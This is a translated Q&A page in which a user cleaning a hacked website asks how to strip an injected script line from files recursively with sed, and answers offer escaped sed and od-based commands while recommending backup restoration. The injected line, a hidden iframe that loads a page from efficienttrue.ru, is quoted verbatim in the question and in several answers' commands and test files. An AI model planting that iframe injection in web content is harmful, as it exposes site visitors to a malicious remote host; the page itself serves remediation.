![sed 递归查找/删除具有多个特殊字符的字符串](https://linux22.com/image/27175/sed%20%E9%80%92%E5%BD%92%E6%9F%A5%E6%89%BE%2F%E5%88%A0%E9%99%A4%E5%85%B7%E6%9C%89%E5%A4%9A%E4%B8%AA%E7%89%B9%E6%AE%8A%E5%AD%97%E7%AC%A6%E7%9A%84%E5%AD%97%E7%AC%A6%E4%B8%B2.png)
我在处理复杂的字符串时遇到了很大的困难。一个朋友的网站被黑客攻击并已被锁定,但我正在帮助清理遗留下来的混乱,我需要做的是以下内容:
递归进入每个目录,如果文件末尾有以下字符串,则删除该字符串。
;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
正如您所看到的,该字符串包含单引号和双引号以及多个其他特殊字符。我尝试在每个特殊字符之前添加 \ 转义符,但这似乎不起作用。我试过这个:
grep -rl efficienttrue.ru . | xargs sed -i "s/\;document\.write\(\'\<iframe\ src\=\"http\:\/\/efficienttrue\.ru\/upwherehandpainted\.cgi\?8\"\ scrolling\=\"auto\"\ frameborder\=\"no\"\ align\=\"center\"\ height\=\"13\"\ width\=\"13\"\>\<\/iframe\>\'\)\;/\/g"
但我收到以下错误:
sed: -e expression #1, char 201: unterminated `s' command
答案1
听起来您正在寻找这样的东西:
sed '${s/document\.write([^)]*);//}'
然而,我真的建议不要采用这种从妥协中恢复的程序。
答案2
是的,从备份恢复更好。但至于 sed:
sed -i '.bak' -e '$ {\!^;document\.write('\''<iframe src="http://efficienttrue\.ru/upwherehandpainted\.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'\'');$! d; }' FILENAME
我测试过,无论 FILENAME 是否有尾随\n
.然而,它确实期望要删除的行始终是最后一行(这就是$ { ... }
.
答案3
是的,备份更好。但是,如果您坚持更换并希望避免因逃逸而造成的麻烦,这里有一个通用解决方案。
将有问题的字符串保存到文件中,并验证是否未附加额外字符(例如 UTF BOM 前缀或行结尾)
xxd spec-chars.sample
将字符串转换为转义字节序列
od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n && echo
创建几个测试用例
cat spec-chars-positive asdfasdfsd ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'); cat spec-chars-negative asdfasdfsd ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'); qwer
验证代码是否按预期工作
grep -l efficienttrue spec-chars-* | xargs sed \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//
执行实际更换
grep -rl efficienttrue.ru . | xargs sed -ibak --follow-symlinks \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//